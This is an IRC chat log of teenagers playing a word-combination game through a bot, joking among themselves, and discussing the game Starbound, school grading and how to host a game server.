[2015-01-03T14:34:11-0500] <alchemy> Hint: It's possible to make letitgoooooo with olaf!
[2015-01-03T14:34:11-0500] <alchemy> You have 3 hints left this hour.
[2015-01-03T14:34:14-0500] <+hardmath123> @hint
[2015-01-03T14:34:14-0500] <alchemy> Hint: It's possible to make chivalry with knight!
[2015-01-03T14:34:15-0500] <alchemy> You have 2 hints left this hour.
[2015-01-03T14:34:16-0500] <+hardmath123> @hint
[2015-01-03T14:34:17-0500] <alchemy> Hint: It's possible to make ashley with genius!
[2015-01-03T14:34:17-0500] <alchemy> You have 1 hints left this hour.
[2015-01-03T14:34:18-0500] <The_Master> @combine olaf music
[2015-01-03T14:34:19-0500] <alchemy> You just discovered letitgoooooo (olaf + music)!
[2015-01-03T14:34:21-0500] <+hardmath123> @hint
[2015-01-03T14:34:22-0500] <alchemy> You're out of hints for this hour.
[2015-01-03T14:34:23-0500] <+hardmath123> @hint
[2015-01-03T14:34:24-0500] <alchemy> You're out of hints for this hour.
[2015-01-03T14:34:29-0500] <alokpathy> @combine a a
[2015-01-03T14:34:30-0500] <alchemy> You don't have a!
[2015-01-03T14:34:48-0500] <alokpathy> @list
[2015-01-03T14:34:48-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:34:48-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:34:48-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-03T14:34:48-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-03T14:34:48-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-03T14:34:48-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:34:48-0500] <alchemy> That's 116 out of 147!
[2015-01-03T14:34:56-0500] <alokpathy> hardmath123: We don't have hints now :(
[2015-01-03T14:35:02-0500] <alokpathy> hardmath123: Give us 10 again.
[2015-01-03T14:35:05-0500] <alokpathy> or 20
[2015-01-03T14:35:08-0500] <+hardmath123> alokpathy: wait another 25 minutes
[2015-01-03T14:35:12-0500] <jwoglom> why not 10 per minute
[2015-01-03T14:35:16-0500] <alokpathy> ^
[2015-01-03T14:35:16-0500] <jwoglom> that'd be a lot better
[2015-01-03T14:35:22-0500] <The_Master> @combine sentience hacker
[2015-01-03T14:35:22-0500] <alchemy> sentience and hacker don't make anything exciting.
[2015-01-03T14:35:29-0500] <jwoglom> @combine friendship hacker
[2015-01-03T14:35:29-0500] <alchemy> friendship and hacker don't make anything exciting.
[2015-01-03T14:35:31-0500] <The_Master> @combine energy time
[2015-01-03T14:35:31-0500] <alchemy> energy and time don't make anything exciting.
[2015-01-03T14:35:36-0500] <The_Master> @combine energy energy
[2015-01-03T14:35:36-0500] <alchemy> You already combined energy and energy to get light.
[2015-01-03T14:35:38-0500] <Tamini_> @combine olaf music
[2015-01-03T14:35:38-0500] <alchemy> You already combined olaf and music to get letitgoooooo.
[2015-01-03T14:35:45-0500] <The_Master> @combine time light
[2015-01-03T14:35:45-0500] <alchemy> time and light don't make anything exciting.
[2015-01-03T14:35:51-0500] <alokpathy> Oh I right letitgo as legitgoo
[2015-01-03T14:35:57-0500] <alokpathy> read*
[2015-01-03T14:35:58-0500] <alokpathy> wow
[2015-01-03T14:36:01-0500] <alokpathy> s/right/read
[2015-01-03T14:36:05-0500] <alokpathy> I'm turning into JacobEdelman 
[2015-01-03T14:36:09-0500] <Tamini_> lool
[2015-01-03T14:36:12-0500] <Tamini_> nooo
[2015-01-03T14:36:16-0500] <Tamini_> youre much cooler
[2015-01-03T14:36:32-0500] <alokpathy> woo
[2015-01-03T14:36:39-0500] <alokpathy> pdgn cred
[2015-01-03T14:36:51-0500] <alokpathy> How do we make god?
[2015-01-03T14:37:05-0500] <alokpathy> @combine sysadmin pidgey
[2015-01-03T14:37:05-0500] <alchemy> sysadmin and pidgey don't make anything exciting.
[2015-01-03T14:37:24-0500] <Tamini_> @combine evil pidgey
[2015-01-03T14:37:24-0500] <alchemy> evil and pidgey don't make anything exciting.
[2015-01-03T14:37:30-0500] <Tamini_> @combine aaron aaron
[2015-01-03T14:37:30-0500] <alchemy> aaron and aaron don't make anything exciting.
[2015-01-03T14:37:33-0500] <Tamini_> :(
[2015-01-03T14:37:48-0500] <jwoglom> @combine evil aaron
[2015-01-03T14:37:48-0500] <alchemy> evil and aaron don't make anything exciting.
[2015-01-03T14:37:49-0500] <+JacobEdelman> Tamini: nah, he's no where near as cool as me
[2015-01-03T14:37:53-0500] <jwoglom> @combine evil pdgn
[2015-01-03T14:37:53-0500] <alchemy> evil and pdgn don't make anything exciting.
[2015-01-03T14:38:15-0500] <+JacobEdelman> Tamini: also, unlike me he is ignoring his essay in Ap Lang to do alchemy
[2015-01-03T14:38:32-0500] <alokpathy> JacobEdelman: This is true.
[2015-01-03T14:38:36-0500] <alokpathy> JacobEdelman: How far are you?
[2015-01-03T14:38:49-0500] <alokpathy> JacobEdelman: And how long does it need to be?
[2015-01-03T14:38:57-0500] <+JacobEdelman> no idea how long
[2015-01-03T14:39:00-0500] <+JacobEdelman> a few pages?
[2015-01-03T14:39:04-0500] <+JacobEdelman> I'm working on the orgaizer
[2015-01-03T14:39:10-0500] <alokpathy> Oh, darn.
[2015-01-03T14:39:10-0500] <+JacobEdelman> *organizer
[2015-01-03T14:39:16-0500] <Tamini_> alokpathy: baaad
[2015-01-03T14:39:21-0500] <alokpathy> I'll go do that then.
[2015-01-03T14:39:28-0500] <+JacobEdelman> maybe less than a few pages
[2015-01-03T14:39:36-0500] <alokpathy> JacobEdelman: It's only a draft though, right?
[2015-01-03T14:39:42-0500] <+JacobEdelman> correct
[2015-01-03T14:39:44-0500] <alokpathy> JacobEdelman: And she never checks drafts.
[2015-01-03T14:39:50-0500] <+JacobEdelman> true... I guess
[2015-01-03T14:39:59-0500] <alokpathy> When's the final due?
[2015-01-03T14:40:22-0500] <alokpathy> Aw, the 9th
[2015-01-03T14:40:27-0500] <alokpathy> That's before the semester ends.
[2015-01-03T14:40:44-0500] <+JacobEdelman> :P
[2015-01-03T14:41:02-0500] <alokpathy> Fine I'll go do it.
[2015-01-03T14:41:07-0500] <+JacobEdelman> also, check fb chat
[2015-01-03T14:41:32-0500] <alokpathy> I did. I replied.
[2015-01-03T14:42:39-0500] <+hardmath123> @refresh
[2015-01-03T14:42:40-0500] <+hardmath123> @list
[2015-01-03T14:42:41-0500] <alchemy> Refreshing...
[2015-01-03T14:42:41-0500] <alchemy> Done.
[2015-01-03T14:42:41-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:42:41-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:42:41-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-03T14:42:41-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-03T14:42:41-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-03T14:42:41-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:42:41-0500] <alchemy> That's 116 out of 150!
[2015-01-03T14:43:05-0500] <alokpathy> :(
[2015-01-03T14:43:19-0500] <alokpathy> At least let us have the satisfaction of getting everything.
[2015-01-03T14:43:55-0500] <@awe> How'd you guys make Pidgey?
[2015-01-03T14:44:09-0500] <The_Master> pidgeon+sentience
[2015-01-03T14:44:10-0500] <alokpathy> @combine evil pidgeon
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[2015-01-03T14:44:13-0500] <alokpathy> Oh, nevermind
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[2015-01-03T14:44:18-0500] <The_Master> pidgeon+evil
[2015-01-03T14:44:26-0500] <The_Master> alokpathy: you were right
[2015-01-03T14:44:28-0500] <alokpathy> @combine evil pidgeon
[2015-01-03T14:44:28-0500] <alchemy> You already combined evil and pidgeon to get pidgey.
[2015-01-03T14:44:33-0500] <+hardmath123> @refresh
[2015-01-03T14:44:34-0500] <alokpathy> Yeah, it was evil pidgeon.
[2015-01-03T14:44:34-0500] <alchemy> Refreshing...
[2015-01-03T14:44:34-0500] <alchemy> Done. Loaded 150.
[2015-01-03T14:45:02-0500] <+hardmath123> I'm trying to reduce the need to use @list.
[2015-01-03T14:47:19-0500] <@awe> o
[2015-01-03T14:49:25-0500] <+JacobEdelman> awe: can you comment on whether or not Pidgey is in fact a twisted, evil pidgeon that has been warped beyond all sense of morality and sits at the computer all day working to brainwash us through it's insidious irc activities?
[2015-01-03T14:49:35-0500] <@awe> N.
[2015-01-03T14:49:38-0500] <@awe> I cannot comment on that.
[2015-01-03T14:49:54-0500] <@awe> Does someone here have artistic ability?
[2015-01-03T14:50:04-0500] <@awe> I want someone to make a Pidgey logo.
[2015-01-03T14:50:10-0500] <@awe> I'll throw up a splash page on pdgn.co
[2015-01-03T14:50:52-0500] <+JacobEdelman> ben does
[2015-01-03T14:50:59-0500] <+JacobEdelman> you should get him to make it
[2015-01-03T14:53:58-0500] <@awe> All I want is a grey bird with a fae
[2015-01-03T14:53:59-0500] <@awe> face*
[2015-01-03T14:54:32-0500] <+JacobEdelman> well, tell ben on gchat or whatever
[2015-01-03T14:55:38-0500] <@awe> Isn't he in your house?
[2015-01-03T14:57:40-0500] <+hardmath123> guys i totally got this
[2015-01-03T14:57:42-0500] <+hardmath123> http://imgur.com/dGNSbtx
[2015-01-03T14:58:03-0500] <+JacobEdelman> .... maybe
[2015-01-03T14:58:07-0500] <@awe> That's a turkey.
[2015-01-03T14:58:08-0500] <+JacobEdelman> but I'm working on la right now
[2015-01-03T14:58:11-0500] <+JacobEdelman> I'll ask him later
[2015-01-03T14:58:49-0500] <@awe> Guys, I got this.
[2015-01-03T14:58:50-0500] <@awe> http://i.imgur.com/6rel6yz.png
[2015-01-03T14:59:51-0500] <+hardmath123> mine's better. more authentic.
[2015-01-03T15:00:43-0500] <@awe> Yours does accurately represent the hack that is Pidgey.
[2015-01-03T15:01:53-0500] <+hardmath123> mine has components that are very barely connected (or, in some cases, disconnected and subject to falling apart at any point).
[2015-01-03T15:02:55-0500] <@awe> lol
[2015-01-03T15:05:22-0500] <@awe> I should really rewrite Pidgey as a server.
[2015-01-03T15:05:25-0500] <Tamini_> lol
[2015-01-03T15:05:32-0500] <Tamini_> pidgey is a turkey?
[2015-01-03T15:05:44-0500] <@awe> No, his drawing is.
[2015-01-03T15:06:05-0500] <@awe> I want a pigeon.
[2015-01-03T15:06:19-0500] <+hardmath123> Tamini_: My drawing is not a turkey.
[2015-01-03T15:06:51-0500] <@awe> Yes it is.
[2015-01-03T15:11:49-0500] <+hardmath123> awe: http://imgur.com/ba6BvvH
[2015-01-03T15:12:34-0500] <@awe> That's a ghost from Pacman.
[2015-01-03T15:13:04-0500] • hardmath123: quits.
[2015-01-03T15:16:31-0500] <@awe> Why?
[2015-01-03T15:16:44-0500] <@awe> you're getting somewher.
[2015-01-03T15:16:46-0500] <@awe> I can feel it.
[2015-01-03T15:17:01-0500] <+hardmath123> the art market is too tough for me. i'm just not hardcore enough to take it.
[2015-01-03T15:18:33-0500] <+JacobEdelman> you have to sell your soul for art
[2015-01-03T15:18:52-0500] <+JacobEdelman> the trick is to start a ponzi scheme and buy back your soul with the cash
[2015-01-03T15:19:09-0500] <+JacobEdelman> that way you have art, wealth, a soul, and a warrant out for your arrest
[2015-01-03T15:19:22-0500] <+JacobEdelman> ..... I will not comment on whether or not I have done this
[2015-01-03T15:20:16-0500] <alokpathy> You don't need to.
[2015-01-03T15:20:22-0500] <alokpathy> We already knwo.
[2015-01-03T15:23:20-0500] <+Tamini> wait wait wait
[2015-01-03T15:23:22-0500] <+Tamini> oh my god
[2015-01-03T15:23:25-0500] <+Tamini> you're exactly like me
[2015-01-03T15:23:46-0500] <+Tamini> jwoglom: i should've started a ponzi scheme to get my soul back from balink
[2015-01-03T15:24:09-0500] <jwoglom> Tamini: there's still time!
[2015-01-03T15:24:21-0500] <@awe> I'm playing Starbound and I just found this small castle.
[2015-01-03T15:24:26-0500] <@awe> With a glitch wizard in it.
[2015-01-03T15:24:29-0500] <@awe> I'm taking apart his entire castle. >:D
[2015-01-03T15:24:31-0500] <+Tamini> hes trying to like
[2015-01-03T15:24:33-0500] <+Tamini> hash a pigeon
[2015-01-03T15:24:33-0500] <jwoglom> also couldn't you just use find my soul
[2015-01-03T15:24:36-0500] <+JacobEdelman> Tamini: piece of advice, don't stack all your cash in a huge pyramid outside of your office where you run the ponzi scheme
[2015-01-03T15:24:37-0500] <+Tamini> awe: lol
[2015-01-03T15:24:37-0500] <jwoglom> and remotely wipe it 
[2015-01-03T15:24:41-0500] <+Tamini> JacobEdelman: LOL
[2015-01-03T15:24:48-0500] <+Tamini> "of course this isnt a pyramid scheme!"
[2015-01-03T15:24:48-0500] <@awe> I will leave NOTHING standing.
[2015-01-03T15:24:50-0500] <+JacobEdelman> Tamini: super smart detectives apparentely think it shows some sort of clue
[2015-01-03T15:25:50-0500] <+JacobEdelman> Tamini: (personally I think Maxwell Smart must have had an inside man who leaked that I was running a ponzi scheme)
[2015-01-03T15:25:59-0500] <@awe> Best part is he sold me a wizard hat before I ripped his castle apart.
[2015-01-03T15:26:01-0500] <+Tamini> lol
[2015-01-03T15:26:04-0500] <+Tamini> awe: awww
[2015-01-03T15:26:04-0500] <@awe> https://www.dropbox.com/s/xiasl0hfv92n633/Screenshot%202015-01-03%2015.26.02.png?dl=0
[2015-01-03T15:26:04-0500] <@awe> :D
[2015-01-03T15:26:37-0500] <+JacobEdelman> Tamini: I mean, I paid a guy to cover my tracks, he responded to my ad in nytimes for "Accomplish Pyramid Scheme Hider"
[2015-01-03T15:27:05-0500] <+Tamini> LOL
[2015-01-03T15:28:04-0500] <@awe> https://www.dropbox.com/s/8j6bpqa16lgaie3/Screenshot%202015-01-03%2015.28.03.png?dl=0
[2015-01-03T15:28:20-0500] <@awe> And this is a volcanic planet.
[2015-01-03T15:28:25-0500] <@awe> So, it's not safe to be outside, really. :D
[2015-01-03T15:29:50-0500] <@awe> All this after I desecrated an avian temple and slayed everyone in it.
[2015-01-03T15:30:35-0500] <ubuntor> nice
[2015-01-03T15:31:09-0500] <@awe> The good news is now I have the materials to build a small castle.
[2015-01-03T15:32:36-0500] <+Tamini> heh
[2015-01-03T15:32:45-0500] <+Tamini> we should play sometime when im done with work
[2015-01-03T15:33:23-0500] <@awe> Yes.
[2015-01-03T15:33:24-0500] <@awe> :D
[2015-01-03T15:35:12-0500] <+Tamini> i miss that game
[2015-01-03T15:35:16-0500] <+Tamini> we should all torrent and have a pdgn server
[2015-01-03T15:35:16-0500] <+Tamini> <3
[2015-01-03T15:35:39-0500] <@awe> https://www.dropbox.com/s/47baa0edidpa0sg/Screenshot%202015-01-03%2015.35.37.png?dl=0
[2015-01-03T15:35:46-0500] <@awe> :D
[2015-01-03T15:36:04-0500] <@awe> Here, there once was a castle.
[2015-01-03T15:36:14-0500] <@awe> Now there's just a lonely wizard in a hole.
[2015-01-03T15:38:03-0500] <alokpathy> A lonely srcerror.
[2015-01-03T15:38:12-0500] <+Tamini> lol
[2015-01-03T15:39:07-0500] <@awe> ddo lawd
[2015-01-03T15:39:09-0500] <@awe> o lawd*
[2015-01-03T15:39:41-0500] <alokpathy> Memories.
[2015-01-03T15:40:11-0500] <alokpathy> Oh hey our PennApps team is the same as our HackP team except for Ernest.
[2015-01-03T15:41:00-0500] <alokpathy> And in terms of first names, our PennApps team is the same as our hackBCA team.
[2015-01-03T15:42:04-0500] <@awe> lol
[2015-01-03T15:42:08-0500] <@awe> in terms of first names.
[2015-01-03T15:42:24-0500] <+Tamini> lol
[2015-01-03T15:42:32-0500] <+Tamini> wait who did you replace with who
[2015-01-03T15:42:36-0500] <+Tamini> oh aaron and aaron
[2015-01-03T15:43:32-0500] <alokpathy> Yeah, Aaron was on our hackBCA team, but now Aaron is coming instead.
[2015-01-03T15:44:01-0500] <@awe> duh.
[2015-01-03T15:44:09-0500] <alokpathy> I don't think Aaron applied, but Aaron did, so it works out.
[2015-01-03T15:44:31-0500] <@awe> we could have a lot of arrangements of teams like that
[2015-01-03T15:44:36-0500] <@awe> thanks to the countless Jacobs and Sams.
[2015-01-03T15:45:45-0500] <alokpathy> I'm the only Alok though :')
[2015-01-03T15:45:52-0500] <+Tamini> you had a sam come before?
[2015-01-03T15:45:57-0500] <+Tamini> lol
[2015-01-03T15:46:00-0500] <+Tamini> and ernest is pretty unique
[2015-01-03T15:46:12-0500] <alokpathy> True, but it's more common than Alok.
[2015-01-03T15:46:43-0500] <@awe> Tamini_: we didn't
[2015-01-03T15:47:00-0500] <@awe> Tamini: but we coudl make a team of Jacob Sam Aaron Ben
[2015-01-03T15:47:05-0500] <+Tamini> alokpathy: not if you go to india
[2015-01-03T15:47:06-0500] <@awe> Tamini: and we could swap out every single one of those people
[2015-01-03T15:47:11-0500] <+Tamini> lolol
[2015-01-03T15:47:13-0500] <@awe> Tamini: with someone else with the same first name
[2015-01-03T15:47:20-0500] <+Tamini> well, i'll be on the unique team with ernest and alok 
[2015-01-03T15:47:20-0500] <+Tamini> :P
[2015-01-03T15:47:52-0500] <alokpathy> Tamini: Fine :P
[2015-01-03T15:49:10-0500] <@awe> I found a man who thinks himself king.
[2015-01-03T15:49:10-0500] <@awe> https://www.dropbox.com/s/ufnt5x29gnkfabf/Screenshot%202015-01-03%2015.49.04.png?dl=0
[2015-01-03T15:49:19-0500] <@awe> But he has no guards.
[2015-01-03T15:49:21-0500] <@awe> and his castle is also small.
[2015-01-03T15:49:30-0500] <+Tamini> lol
[2015-01-03T15:49:37-0500] <alokpathy> lameo
[2015-01-03T15:49:55-0500] <@awe> he called for the guards to attack me
[2015-01-03T15:49:56-0500] <@awe> but uhh...
[2015-01-03T15:49:57-0500] <@awe> no guards.
[2015-01-03T15:53:32-0500] <+JacobEdelman> little prince much?
[2015-01-03T15:54:59-0500] <@awe> At least the wizard was friendly.
[2015-01-03T15:55:01-0500] <@awe> He stabbed me.
[2015-01-03T15:55:05-0500] <@awe> So, I had to kill him.
[2015-01-03T15:55:06-0500] <+JacobEdelman> ha
[2015-01-03T15:55:25-0500] <alokpathy> Aw
[2015-01-03T15:55:28-0500] <alokpathy> Poor wizard
[2015-01-03T15:56:35-0500] <+Tamini> i thought hardmath was the little prince
[2015-01-03T15:56:50-0500] <@awe> No, the wizard is still alive.
[2015-01-03T15:56:53-0500] <@awe> It's the king I killed.
[2015-01-03T15:57:15-0500] <alokpathy> Ah, that makes more sense now.
[2015-01-03T15:57:17-0500] <@awe> Look at my ship
[2015-01-03T15:57:17-0500] <@awe> https://www.dropbox.com/s/45hq6ppc8pkqk8m/Screenshot%202015-01-03%2015.57.15.png?dl=0
[2015-01-03T15:57:24-0500] <@awe> https://www.dropbox.com/s/f0pvieag3ry6e0g/Screenshot%202015-01-03%2015.57.23.png?dl=0
[2015-01-03T15:57:30-0500] <@awe> https://www.dropbox.com/s/hq5e9kl030ldrcf/Screenshot%202015-01-03%2015.57.29.png?dl=0
[2015-01-03T15:57:32-0500] <alokpathy> I thought you killed the friendly wizard at first.
[2015-01-03T15:57:35-0500] <@awe> https://www.dropbox.com/s/gckdmw26ruhyxty/Screenshot%202015-01-03%2015.57.34.png?dl=0
[2015-01-03T15:57:41-0500] <@awe> :D
[2015-01-03T15:58:12-0500] <@awe> Anyone who plays with me will have access to my large arsenal.
[2015-01-03T15:58:24-0500] <@awe> The one before I bought the game was larger.
[2015-01-03T15:58:33-0500] <@awe> But I lost that because the save formats weren't compatible.
[2015-01-03T16:00:56-0500] <+Tamini> oh you bought it?
[2015-01-03T16:00:57-0500] <+Tamini> when?
[2015-01-03T16:01:32-0500] <@awe> Uhh...
[2015-01-03T16:01:34-0500] <@awe> maybe three days ago?
[2015-01-03T16:01:36-0500] <+JacobEdelman> wait
[2015-01-03T16:01:42-0500] <+JacobEdelman> awe killed hardmath123?
[2015-01-03T16:01:46-0500] <+JacobEdelman> when did this happen?
[2015-01-03T16:01:47-0500] <@awe> I've got 15h played on this character.
[2015-01-03T16:03:07-0500] <@awe> Oh, shoot.
[2015-01-03T16:03:10-0500] <@awe> I'm out of med kits.
[2015-01-03T16:04:19-0500] <+JacobEdelman> serves you right, for killing the little prince and/or hardmath123
[2015-01-03T16:08:28-0500] <@awe> I think I'm going to collect some steel and get some hirelings living in my ship with me.
[2015-01-03T16:08:33-0500] <@awe> It'll be less lonely then! :D
[2015-01-03T16:08:45-0500] <+JacobEdelman> until you kill them too...
[2015-01-03T16:09:22-0500] <@awe> I don't kill friendlies.
[2015-01-03T16:09:52-0500] <@awe> JacobEdelman: I feel like you'd really like this game.
[2015-01-03T16:10:05-0500] <+JacobEdelman> I might
[2015-01-03T16:10:09-0500] <+JacobEdelman> ezra played it a bunch
[2015-01-03T16:10:12-0500] <+JacobEdelman> he liked it
[2015-01-03T16:10:18-0500] <+Tamini> lol
[2015-01-03T16:10:20-0500] <@awe> It's got space travel and creation and all sorts of stuff.
[2015-01-03T16:10:20-0500] <+JacobEdelman> but I'm too busy
[2015-01-03T16:10:22-0500] <+Tamini> yeah, this is jacob's type
[2015-01-03T16:10:23-0500] <@awe> The new updates are way better, too.
[2015-01-03T16:10:23-0500] <+JacobEdelman> helping to run ctfs
[2015-01-03T16:10:27-0500] <+JacobEdelman> and with hw
[2015-01-03T16:10:28-0500] <+JacobEdelman> and lark
[2015-01-03T16:12:15-0500] <The_Master> what game are you guys talking about?
[2015-01-03T16:12:36-0500] <bob_twinkles> Starbound
[2015-01-03T16:12:41-0500] <The_Master> oh that gameme
[2015-01-03T16:13:04-0500] <+Tamini> awe: i thought it was super buggy
[2015-01-03T16:13:08-0500] <bob_twinkles> I want it but I really don't need more time sinks =(
[2015-01-03T16:13:09-0500] <@awe> Nah, it's fine.
[2015-01-03T16:13:17-0500] <The_Master> I have that on my lost steam account, has it been updated since the beta version?
[2015-01-03T16:13:25-0500] <@awe> It was really bad
[2015-01-03T16:13:27-0500] <@awe> but it's good noce.
[2015-01-03T16:13:28-0500] <@awe> now*
[2015-01-03T16:13:31-0500] <@awe> The_Master: there's a new unstable update
[2015-01-03T16:13:34-0500] <@awe> The_Master: nightlies are awesome
[2015-01-03T16:13:38-0500] <+Tamini> bob_twinkles: I feel like we say that but
[2015-01-03T16:13:50-0500] <+Tamini> we're already screwed so 
[2015-01-03T16:13:51-0500] <+Tamini> :P
[2015-01-03T16:13:53-0500] <The_Master> awe: now I have to find my steam account and play it
[2015-01-03T16:14:01-0500] <+Tamini> (also bob_twinkles: you're getting into college why are you worried)
[2015-01-03T16:14:07-0500] <bob_twinkles> lol true
[2015-01-03T16:14:45-0500] <bob_twinkles> I've got too many not-school projects I want to start/finish
[2015-01-03T16:15:14-0500] <@awe> The_Master: do it
[2015-01-03T16:15:17-0500] <@awe> The_Master: you can play with me then
[2015-01-03T16:15:25-0500] <@awe> The_Master: assuming you can port forward because I unfortunately can't
[2015-01-03T16:15:27-0500] <The_Master> awe: ok
[2015-01-03T16:15:35-0500] <+Tamini> bob_twinkles: screw school, focus on those
[2015-01-03T16:15:40-0500] <+Tamini> give me a nice curve ;)
[2015-01-03T16:15:44-0500] <bob_twinkles> lol
[2015-01-03T16:15:53-0500] <bob_twinkles> I do need to a least _pass_ multi
[2015-01-03T16:16:19-0500] <+Tamini> a C- is a passing grade right
[2015-01-03T16:16:38-0500] <alokpathy> Lol you have +'s and -'s.
[2015-01-03T16:16:43-0500] <alokpathy> We're too cool for those.
[2015-01-03T16:16:49-0500] <bob_twinkles> yeah
[2015-01-03T16:17:00-0500] <alokpathy> jk it's annoying when you get an 89
[2015-01-03T16:17:20-0500] <+Tamini> JacobEdelman: ru alive
[2015-01-03T16:17:29-0500] <bob_twinkles> that's a... B+ IIRC
[2015-01-03T16:17:34-0500] <alokpathy> Not in WWP.
[2015-01-03T16:17:42-0500] <alokpathy> It's a B here
[2015-01-03T16:17:44-0500] <alokpathy> as is an 80
[2015-01-03T16:17:55-0500] <alokpathy> So, it's annoying when you get an 89
[2015-01-03T16:17:58-0500] <+Tamini> lol
[2015-01-03T16:17:59-0500] <alokpathy> but lovely when you get an 80
[2015-01-03T16:18:01-0500] <+Tamini> then get a 90 ;)
[2015-01-03T16:18:30-0500] <alokpathy> Lol my grades are never there.
[2015-01-03T16:18:33-0500] <alokpathy> It's either
[2015-01-03T16:18:34-0500] <@awe> ...
[2015-01-03T16:18:35-0500] <alokpathy> high A
[2015-01-03T16:18:36-0500] <alokpathy> or B
[2015-01-03T16:18:40-0500] <alokpathy> no in-between
[2015-01-03T16:18:40-0500] <@awe> alokpathy: not exactly.
[2015-01-03T16:18:47-0500] <alokpathy> awe: How so?
[2015-01-03T16:18:50-0500] <@awe> The way they do GPA calculations is rigged.
[2015-01-03T16:18:55-0500] <@awe> This is the reason why they don't have +/-.
[2015-01-03T16:18:58-0500] <@awe> Everything is treated as a +.
[2015-01-03T16:19:06-0500] <alokpathy> Wait, really?
[2015-01-03T16:19:08-0500] <@awe> A 79.45% == 89.44% 
[2015-01-03T16:19:08-0500] <alokpathy> I thought it was just
[2015-01-03T16:19:12-0500] <alokpathy> Yeah
[2015-01-03T16:19:14-0500] <@awe> and is in your GPA as what most schools would call a B+
[2015-01-03T16:19:21-0500] <@awe> so, if you got a 79.45% you basically got a B+.
[2015-01-03T16:19:32-0500] <@awe> It's in your favor as a student.
[2015-01-03T16:19:42-0500] <@awe> It's a trick to make us seem better performing.
[2015-01-03T16:19:48-0500] <The_Master> awe: I am getting starbound
[2015-01-03T16:19:56-0500] <@awe> I thought you already had it?
[2015-01-03T16:20:02-0500] <alokpathy> awe: So 3 points is a B+ in most schools?
[2015-01-03T16:20:11-0500] <@awe> You get a 3.2 or something.
[2015-01-03T16:20:36-0500] <alokpathy> Wait, so it's lower than a B+?
[2015-01-03T16:20:46-0500] <alokpathy> but higher than a B?
[2015-01-03T16:20:51-0500] <@awe> whatever a B+ is
[2015-01-03T16:20:57-0500] <+Tamini> yo
[2015-01-03T16:20:59-0500] <+Tamini> when jacob's back
[2015-01-03T16:21:06-0500] <@awe> 3.4?
[2015-01-03T16:21:07-0500] <+Tamini> tell him to ping me pls
[2015-01-03T16:21:08-0500] <@awe> I don't know.
[2015-01-03T16:21:08-0500] <The_Master> alokpathy: B+-
[2015-01-03T16:21:14-0500] <+Tamini> im going to chill a bit
[2015-01-03T16:21:43-0500] <The_Master> Tamini_: Jacob wants to know if you wan't to give him a mesage
[2015-01-03T16:21:49-0500] <@awe> I'm fairly certain everything is treated as a +.
[2015-01-03T16:21:55-0500] <@awe> Because if you get an 89.45%, you get a 4.0
[2015-01-03T16:22:16-0500] <alokpathy> awe: But we only get 3 points for anything in that range, so isn't it lower than what other schools give for a B+?
[2015-01-03T16:22:37-0500] <@awe> what do you mean?
[2015-01-03T16:22:40-0500] <alokpathy> Like
[2015-01-03T16:22:50-0500] <@awe> We definitely get a 4.0 for anything that qualifies as an A.
[2015-01-03T16:22:50-0500] <The_Master> awe: how can I play starbound with you?
[2015-01-03T16:22:56-0500] <@awe> The_Master: someone needs to run a server
[2015-01-03T16:23:05-0500] <alokpathy> we get 3 points for anything between a 79.45 and an 89.44
[2015-01-03T16:23:10-0500] <@awe> are you sure?
[2015-01-03T16:23:20-0500] <alokpathy> Well 3 * number_of_credits
[2015-01-03T16:23:22-0500] <@awe> It might be only an A that they cheat on.
[2015-01-03T16:23:49-0500] <alokpathy> That who cheats on what?
[2015-01-03T16:24:06-0500] <@awe> If you get an 89.45
[2015-01-03T16:24:08-0500] <The_Master> awe: can you play starbound multliplayer on lan?
[2015-01-03T16:24:08-0500] <@awe> you get a 4.0
[2015-01-03T16:24:12-0500] <@awe> The_Master: yah
[2015-01-03T16:24:15-0500] <@awe> The_Master: I did it the other day
[2015-01-03T16:24:24-0500] <@awe> The_Master: I ran a server on my PC and connected on two laptops
[2015-01-03T16:24:40-0500] <The_Master> awe: there are ways to create wireless lan stuff
[2015-01-03T16:24:46-0500] <@awe> Oh, yeah.
[2015-01-03T16:24:47-0500] <@awe> Hamachi and shit.
[2015-01-03T16:24:52-0500] <@awe> But that's annoying.
[2015-01-03T16:25:01-0500] <The_Master> can you host a serve normally?
[2015-01-03T16:25:01-0500] <@awe> Way easier to just go into your router and forward a port.
[2015-01-03T16:25:03-0500] <@awe> I can't.
[2015-01-03T16:25:08-0500] <@awe> I have no access to my router.
[2015-01-03T16:25:12-0500] <@awe> Dad's not home.
[2015-01-03T16:25:34-0500] <The_Master> what about haroku?
[2015-01-03T16:25:40-0500] <@awe> not enough ram, probably.
